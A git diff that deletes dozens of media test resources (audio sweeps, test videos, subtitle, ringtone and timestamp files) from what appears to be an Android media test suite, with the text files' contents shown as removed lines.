diff --git a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index cdc8928..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a
deleted file mode 100755
index 48c7b02..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 76c9d47..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_32khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a
deleted file mode 100755
index dd752b0..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index 76fba31..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_44khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a
deleted file mode 100755
index 2960b54..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index baea42e..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_48khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a
deleted file mode 100755
index 0863187..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_8khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepalac.mov b/tests/tests/media/res/raw/sinesweepalac.mov
deleted file mode 100644
index f0e76e4..0000000
--- a/tests/tests/media/res/raw/sinesweepalac.mov
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflac.flac b/tests/tests/media/res/raw/sinesweepflac.flac
deleted file mode 100644
index c51b3c5..0000000
--- a/tests/tests/media/res/raw/sinesweepflac.flac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflac24.flac b/tests/tests/media/res/raw/sinesweepflac24.flac
deleted file mode 100644
index ac40ea9..0000000
--- a/tests/tests/media/res/raw/sinesweepflac24.flac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflacmkv.mkv b/tests/tests/media/res/raw/sinesweepflacmkv.mkv
deleted file mode 100644
index 2f622cd..0000000
--- a/tests/tests/media/res/raw/sinesweepflacmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepflacmp4.mp4 b/tests/tests/media/res/raw/sinesweepflacmp4.mp4
deleted file mode 100644
index f397afa..0000000
--- a/tests/tests/media/res/raw/sinesweepflacmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v23ext.mp3 b/tests/tests/media/res/raw/sinesweepid3v23ext.mp3
deleted file mode 100644
index 8249f4a..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v23ext.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3 b/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3
deleted file mode 100644
index 8d04b44..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v23extbe.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepid3v24ext.mp3 b/tests/tests/media/res/raw/sinesweepid3v24ext.mp3
deleted file mode 100644
index 40b392f..0000000
--- a/tests/tests/media/res/raw/sinesweepid3v24ext.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepm4a.m4a b/tests/tests/media/res/raw/sinesweepm4a.m4a
deleted file mode 100644
index 533a515..0000000
--- a/tests/tests/media/res/raw/sinesweepm4a.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepmp3lame.mp3 b/tests/tests/media/res/raw/sinesweepmp3lame.mp3
deleted file mode 100644
index 4d8ae70..0000000
--- a/tests/tests/media/res/raw/sinesweepmp3lame.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepmp3smpb.mp3 b/tests/tests/media/res/raw/sinesweepmp3smpb.mp3
deleted file mode 100644
index 47a1e9d..0000000
--- a/tests/tests/media/res/raw/sinesweepmp3smpb.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepogg.ogg b/tests/tests/media/res/raw/sinesweepogg.ogg
deleted file mode 100644
index e4fd4aa..0000000
--- a/tests/tests/media/res/raw/sinesweepogg.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggalbumart.ogg b/tests/tests/media/res/raw/sinesweepoggalbumart.ogg
deleted file mode 100644
index 00ad4ad..0000000
--- a/tests/tests/media/res/raw/sinesweepoggalbumart.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggmkv.mkv b/tests/tests/media/res/raw/sinesweepoggmkv.mkv
deleted file mode 100644
index 35bc5ca..0000000
--- a/tests/tests/media/res/raw/sinesweepoggmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepoggmp4.mp4 b/tests/tests/media/res/raw/sinesweepoggmp4.mp4
deleted file mode 100644
index d53fad4..0000000
--- a/tests/tests/media/res/raw/sinesweepoggmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepopus.mkv b/tests/tests/media/res/raw/sinesweepopus.mkv
deleted file mode 100644
index 230dd36..0000000
--- a/tests/tests/media/res/raw/sinesweepopus.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepopusmp4.mp4 b/tests/tests/media/res/raw/sinesweepopusmp4.mp4
deleted file mode 100644
index 6894908..0000000
--- a/tests/tests/media/res/raw/sinesweepopusmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweeptsaac.m4a b/tests/tests/media/res/raw/sinesweeptsaac.m4a
deleted file mode 100644
index f583012..0000000
--- a/tests/tests/media/res/raw/sinesweeptsaac.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepvorbis.mkv b/tests/tests/media/res/raw/sinesweepvorbis.mkv
deleted file mode 100644
index 613ab71..0000000
--- a/tests/tests/media/res/raw/sinesweepvorbis.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweepvorbismp4.mp4 b/tests/tests/media/res/raw/sinesweepvorbismp4.mp4
deleted file mode 100644
index 660ca02..0000000
--- a/tests/tests/media/res/raw/sinesweepvorbismp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/stereonoisedcpos.m4a b/tests/tests/media/res/raw/stereonoisedcpos.m4a
deleted file mode 100644
index 77362df..0000000
--- a/tests/tests/media/res/raw/stereonoisedcpos.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4 b/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4
deleted file mode 100644
index f493f25..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_h264_albumart.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_h265.mp4 b/tests/tests/media/res/raw/swirl_128x128_h265.mp4
deleted file mode 100644
index a0b112b..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4
deleted file mode 100644
index 694ce95..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_vp8.webm b/tests/tests/media/res/raw/swirl_128x128_vp8.webm
deleted file mode 100644
index 7b606a2..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x128_vp9.webm b/tests/tests/media/res/raw/swirl_128x128_vp9.webm
deleted file mode 100644
index 7acff11..0000000
--- a/tests/tests/media/res/raw/swirl_128x128_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_128x96_h263.3gp b/tests/tests/media/res/raw/swirl_128x96_h263.3gp
deleted file mode 100644
index f0ef242..0000000
--- a/tests/tests/media/res/raw/swirl_128x96_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_h264.mp4 b/tests/tests/media/res/raw/swirl_130x132_h264.mp4
deleted file mode 100644
index 60027fd..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_h265.mp4 b/tests/tests/media/res/raw/swirl_130x132_h265.mp4
deleted file mode 100644
index 46fab26..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4
deleted file mode 100644
index ed6b529..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_vp8.webm b/tests/tests/media/res/raw/swirl_130x132_vp8.webm
deleted file mode 100644
index a3f2d21..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_130x132_vp9.webm b/tests/tests/media/res/raw/swirl_130x132_vp9.webm
deleted file mode 100644
index 840dc59..0000000
--- a/tests/tests/media/res/raw/swirl_130x132_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_h264.mp4 b/tests/tests/media/res/raw/swirl_132x130_h264.mp4
deleted file mode 100644
index dc17f8f..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_h265.mp4 b/tests/tests/media/res/raw/swirl_132x130_h265.mp4
deleted file mode 100644
index f9a59f5..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4
deleted file mode 100644
index ed975db..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_vp8.webm b/tests/tests/media/res/raw/swirl_132x130_vp8.webm
deleted file mode 100644
index 8cd8d4e..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_132x130_vp9.webm b/tests/tests/media/res/raw/swirl_132x130_vp9.webm
deleted file mode 100644
index 4a8d79f..0000000
--- a/tests/tests/media/res/raw/swirl_132x130_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_h264.mp4 b/tests/tests/media/res/raw/swirl_136x144_h264.mp4
deleted file mode 100644
index bc5fadf..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_h265.mp4 b/tests/tests/media/res/raw/swirl_136x144_h265.mp4
deleted file mode 100644
index 38f1fc8..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4
deleted file mode 100644
index c74bd96..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_vp8.webm b/tests/tests/media/res/raw/swirl_136x144_vp8.webm
deleted file mode 100644
index 960d02f..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_136x144_vp9.webm b/tests/tests/media/res/raw/swirl_136x144_vp9.webm
deleted file mode 100644
index 5898f07..0000000
--- a/tests/tests/media/res/raw/swirl_136x144_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_h264.mp4 b/tests/tests/media/res/raw/swirl_144x136_h264.mp4
deleted file mode 100644
index 962a218..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_h264.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_h265.mp4 b/tests/tests/media/res/raw/swirl_144x136_h265.mp4
deleted file mode 100644
index 8098621..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_h265.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4 b/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4
deleted file mode 100644
index 81c1db3..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_mpeg4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_vp8.webm b/tests/tests/media/res/raw/swirl_144x136_vp8.webm
deleted file mode 100644
index b050ade..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_vp8.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_144x136_vp9.webm b/tests/tests/media/res/raw/swirl_144x136_vp9.webm
deleted file mode 100644
index 9c0539a..0000000
--- a/tests/tests/media/res/raw/swirl_144x136_vp9.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_176x144_h263.3gp b/tests/tests/media/res/raw/swirl_176x144_h263.3gp
deleted file mode 100644
index ee51660..0000000
--- a/tests/tests/media/res/raw/swirl_176x144_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/swirl_352x288_h263.3gp b/tests/tests/media/res/raw/swirl_352x288_h263.3gp
deleted file mode 100644
index 53830a9..0000000
--- a/tests/tests/media/res/raw/swirl_352x288_h263.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/test_subtitle1_srt.3gp b/tests/tests/media/res/raw/test_subtitle1_srt.3gp
deleted file mode 100644
index 8dbc240..0000000
--- a/tests/tests/media/res/raw/test_subtitle1_srt.3gp
+++ /dev/null
@@ -1,39 +0,0 @@
-1
-00:00:0,000 --> 00:00:0,500
-2:0000
-
-2
-00:00:1,000 --> 00:00:1,500
-2:1000
-
-3
-00:00:2,000 --> 00:00:2,500
-2:2000
-
-4
-00:00:3,000 --> 00:00:3,500
-2:3000
-
-5
-00:00:4,000 --> 00:00:4,500
-2:4000
-
-6
-00:00:5,000 --> 00:00:5,500
-2:5000
-
-7
-00:00:6,000 --> 00:00:6,500
-2:6000
-
-8
-00:00:7,000 --> 00:00:7,500
-2:7000
-
-9
-00:00:8,000 --> 00:00:8,500
-2:8000
-
-10
-00:00:9,000 --> 00:00:9,500
-2:9000
diff --git a/tests/tests/media/res/raw/test_subtitle2_srt.3gp b/tests/tests/media/res/raw/test_subtitle2_srt.3gp
deleted file mode 100644
index 7ac2e72..0000000
--- a/tests/tests/media/res/raw/test_subtitle2_srt.3gp
+++ /dev/null
@@ -1,39 +0,0 @@
-1
-00:00:0,500 --> 00:00:1,000
-3:500
-
-2
-00:00:1,500 --> 00:00:2,000
-3:1500
-
-3
-00:00:2,500 --> 00:00:3,000
-3:2500
-
-4
-00:00:3,500 --> 00:00:4,000
-3:3500
-
-5
-00:00:4,500 --> 00:00:5,000
-3:4500
-
-6
-00:00:5,500 --> 00:00:6,000
-3:5500
-
-7
-00:00:6,500 --> 00:00:7,000
-3:6500
-
-8
-00:00:7,500 --> 00:00:8,000
-3:7500
-
-9
-00:00:8,500 --> 00:00:9,000
-3:8500
-
-10
-00:00:9,500 --> 00:00:10,000
-3:9500
diff --git a/tests/tests/media/res/raw/testac3mp4.mp4 b/tests/tests/media/res/raw/testac3mp4.mp4
deleted file mode 100644
index af527b1..0000000
--- a/tests/tests/media/res/raw/testac3mp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testac3ts.ts b/tests/tests/media/res/raw/testac3ts.ts
deleted file mode 100644
index a67b8b8..0000000
--- a/tests/tests/media/res/raw/testac3ts.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testamr.amr b/tests/tests/media/res/raw/testamr.amr
deleted file mode 100644
index 36c259c..0000000
--- a/tests/tests/media/res/raw/testamr.amr
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testeac3mp4.mp4 b/tests/tests/media/res/raw/testeac3mp4.mp4
deleted file mode 100644
index ac9cad2..0000000
--- a/tests/tests/media/res/raw/testeac3mp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testeac3ts.ts b/tests/tests/media/res/raw/testeac3ts.ts
deleted file mode 100644
index 1e7bc14..0000000
--- a/tests/tests/media/res/raw/testeac3ts.ts
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testimy.imy b/tests/tests/media/res/raw/testimy.imy
deleted file mode 100644
index b66f02b..0000000
--- a/tests/tests/media/res/raw/testimy.imy
+++ /dev/null
@@ -1,10 +0,0 @@
-BEGIN:IMELODY

-VERSION:1.2

-FORMAT:CLASS1.0

-NAME:Test

-COMPOSER:Android

-BEAT:120

-STYLE:S1

-VOLUME:V7

-MELODY:a1b2c3vibeoffledoffbackoffa3.vibeonledonbackon*4d3a3vibeoffbackoffbackoffg3.backon(*5c4c1..)@9*5#f2*5#f2

-END:IMELODY

diff --git a/tests/tests/media/res/raw/testmp3_4.mp3 b/tests/tests/media/res/raw/testmp3_4.mp3
deleted file mode 100755
index 2098ebd..0000000
--- a/tests/tests/media/res/raw/testmp3_4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testota.ota b/tests/tests/media/res/raw/testota.ota
deleted file mode 100644
index 7aa5f996..0000000
--- a/tests/tests/media/res/raw/testota.ota
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/testrtttl.rtttl b/tests/tests/media/res/raw/testrtttl.rtttl
deleted file mode 100644
index 1f7e270..0000000
--- a/tests/tests/media/res/raw/testrtttl.rtttl
+++ /dev/null
@@ -1 +0,0 @@
-Test:d=2,o=6,b=120,l=2,s=n:a,b,c,d,e,4a,4b#,4c,4d,a4,b4,c4,d4
diff --git a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4 b/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
deleted file mode 100755
index ac70dd3..0000000
--- a/tests/tests/media/res/raw/testvideo_with_2_subtitle_tracks.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt b/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt
deleted file mode 100644
index 388bacc..0000000
--- a/tests/tests/media/res/raw/timestamps_binary_counter_320x240_30fps_600frames.txt
+++ /dev/null
@@ -1,600 +0,0 @@
-66666
-166666
-100000
-133333
-300000
-233333
-200000
-266666
-433333
-366666
-333333
-400000
-566666
-500000
-466666
-533333
-666666
-600000
-633333
-800000
-733333
-700000
-766666
-900000
-833333
-866666
-1033333
-966666
-933333
-1000000
-1066666
-1166666
-1100000
-1133333
-1300000
-1233333
-1200000
-1266666
-1433333
-1366666
-1333333
-1400000
-1566666
-1500000
-1466666
-1533333
-1666666
-1600000
-1633333
-1800000
-1733333
-1700000
-1766666
-1900000
-1833333
-1866666
-2000000
-1933333
-1966666
-2033333
-2066666
-2166666
-2100000
-2133333
-2300000
-2233333
-2200000
-2266666
-2433333
-2366666
-2333333
-2400000
-2566666
-2500000
-2466666
-2533333
-2700000
-2633333
-2600000
-2666666
-2833333
-2766666
-2733333
-2800000
-2966666
-2900000
-2866666
-2933333
-3033333
-3000000
-3066666
-3166666
-3100000
-3133333
-3300000
-3233333
-3200000
-3266666
-3433333
-3366666
-3333333
-3400000
-3566666
-3500000
-3466666
-3533333
-3666666
-3600000
-3633333
-3800000
-3733333
-3700000
-3766666
-3900000
-3833333
-3866666
-4000000
-3933333
-3966666
-4033333
-4066666
-4166666
-4100000
-4133333
-4300000
-4233333
-4200000
-4266666
-4433333
-4366666
-4333333
-4400000
-4566666
-4500000
-4466666
-4533333
-4666666
-4600000
-4633333
-4733333
-4700000
-4833333
-4766666
-4800000
-4966666
-4900000
-4866666
-4933333
-5033333
-5000000
-5066666
-5166666
-5100000
-5133333
-5300000
-5233333
-5200000
-5266666
-5433333
-5366666
-5333333
-5400000
-5566666
-5500000
-5466666
-5533333
-5666666
-5600000
-5633333
-5800000
-5733333
-5700000
-5766666
-5900000
-5833333
-5866666
-6033333
-5966666
-5933333
-6000000
-6066666
-6166666
-6100000
-6133333
-6300000
-6233333
-6200000
-6266666
-6433333
-6366666
-6333333
-6400000
-6566666
-6500000
-6466666
-6533333
-6666666
-6600000
-6633333
-6800000
-6733333
-6700000
-6766666
-6900000
-6833333
-6866666
-7000000
-6933333
-6966666
-7033333
-7066666
-7166666
-7100000
-7133333
-7300000
-7233333
-7200000
-7266666
-7433333
-7366666
-7333333
-7400000
-7566666
-7500000
-7466666
-7533333
-7700000
-7633333
-7600000
-7666666
-7833333
-7766666
-7733333
-7800000
-7966666
-7900000
-7866666
-7933333
-8033333
-8000000
-8066666
-8166666
-8100000
-8133333
-8300000
-8233333
-8200000
-8266666
-8433333
-8366666
-8333333
-8400000
-8566666
-8500000
-8466666
-8533333
-8666666
-8600000
-8633333
-8800000
-8733333
-8700000
-8766666
-8900000
-8833333
-8866666
-9000000
-8933333
-8966666
-9033333
-9066666
-9166666
-9100000
-9133333
-9300000
-9233333
-9200000
-9266666
-9366666
-9333333
-9500000
-9433333
-9400000
-9466666
-9633333
-9566666
-9533333
-9600000
-9766666
-9700000
-9666666
-9733333
-9900000
-9833333
-9800000
-9866666
-10000000
-9933333
-9966666
-10033333
-10066666
-10166666
-10100000
-10133333
-10300000
-10233333
-10200000
-10266666
-10433333
-10366666
-10333333
-10400000
-10566666
-10500000
-10466666
-10533333
-10666666
-10600000
-10633333
-10800000
-10733333
-10700000
-10766666
-10900000
-10833333
-10866666
-11033333
-10966666
-10933333
-11000000
-11066666
-11166666
-11100000
-11133333
-11300000
-11233333
-11200000
-11266666
-11433333
-11366666
-11333333
-11400000
-11566666
-11500000
-11466666
-11533333
-11666666
-11600000
-11633333
-11800000
-11733333
-11700000
-11766666
-11900000
-11833333
-11866666
-12000000
-11933333
-11966666
-12033333
-12066666
-12166666
-12100000
-12133333
-12300000
-12233333
-12200000
-12266666
-12433333
-12366666
-12333333
-12400000
-12566666
-12500000
-12466666
-12533333
-12700000
-12633333
-12600000
-12666666
-12833333
-12766666
-12733333
-12800000
-12966666
-12900000
-12866666
-12933333
-13033333
-13000000
-13066666
-13166666
-13100000
-13133333
-13300000
-13233333
-13200000
-13266666
-13433333
-13366666
-13333333
-13400000
-13566666
-13500000
-13466666
-13533333
-13666666
-13600000
-13633333
-13800000
-13733333
-13700000
-13766666
-13900000
-13833333
-13866666
-14000000
-13933333
-13966666
-14033333
-14066666
-14166666
-14100000
-14133333
-14300000
-14233333
-14200000
-14266666
-14433333
-14366666
-14333333
-14400000
-14566666
-14500000
-14466666
-14533333
-14666666
-14600000
-14633333
-14733333
-14700000
-14833333
-14766666
-14800000
-14966666
-14900000
-14866666
-14933333
-15033333
-15000000
-15066666
-15166666
-15100000
-15133333
-15300000
-15233333
-15200000
-15266666
-15433333
-15366666
-15333333
-15400000
-15566666
-15500000
-15466666
-15533333
-15666666
-15600000
-15633333
-15800000
-15733333
-15700000
-15766666
-15900000
-15833333
-15866666
-16033333
-15966666
-15933333
-16000000
-16066666
-16166666
-16100000
-16133333
-16300000
-16233333
-16200000
-16266666
-16433333
-16366666
-16333333
-16400000
-16566666
-16500000
-16466666
-16533333
-16666666
-16600000
-16633333
-16800000
-16733333
-16700000
-16766666
-16900000
-16833333
-16866666
-17000000
-16933333
-16966666
-17033333
-17066666
-17166666
-17100000
-17133333
-17300000
-17233333
-17200000
-17266666
-17433333
-17366666
-17333333
-17400000
-17566666
-17500000
-17466666
-17533333
-17700000
-17633333
-17600000
-17666666
-17833333
-17766666
-17733333
-17800000
-17966666
-17900000
-17866666
-17933333
-18033333
-18000000
-18066666
-18166666
-18100000
-18133333
-18300000
-18233333
-18200000
-18266666
-18433333
-18366666
-18333333
-18400000
-18566666
-18500000
-18466666
-18533333
-18666666
-18600000
-18633333
-18800000
-18733333
-18700000
-18766666
-18900000
-18833333
-18866666
-19000000
-18933333
-18966666
-19033333
-19066666
-19166666
-19100000
-19133333
-19300000
-19233333
-19200000
-19266666
-19366666
-19333333
-19500000
-19433333
-19400000
-19466666
-19633333
-19566666
-19533333
-19600000
-19766666
-19700000
-19666666
-19733333
-19900000
-19833333
-19800000
-19866666
-20000000
-19933333
-19966666
-20033333
diff --git a/tests/tests/media/res/raw/utf16_1.mp3 b/tests/tests/media/res/raw/utf16_1.mp3
deleted file mode 100644
index 829d311..0000000
--- a/tests/tests/media/res/raw/utf16_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm b/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm
deleted file mode 100644
index 8f00ded..0000000
--- a/tests/tests/media/res/raw/video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz.webm
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp
deleted file mode 100644
index d2a6ddf..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp
deleted file mode 100644
index b7c2bed..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp
deleted file mode 100644
index 4b10c21..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp
deleted file mode 100644
index 61e90a6..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_128kbps_22050hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp
deleted file mode 100644
index 9ce8a32..0000000
--- a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_11025hz.3gp
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp b/tests/tests/media/res/raw/video_176x144_3gp_h263_56kbps_12fps_aac_stereo_24kbps_22050hz.3gp
deleted file mode 100644
index eec1e10..0000000
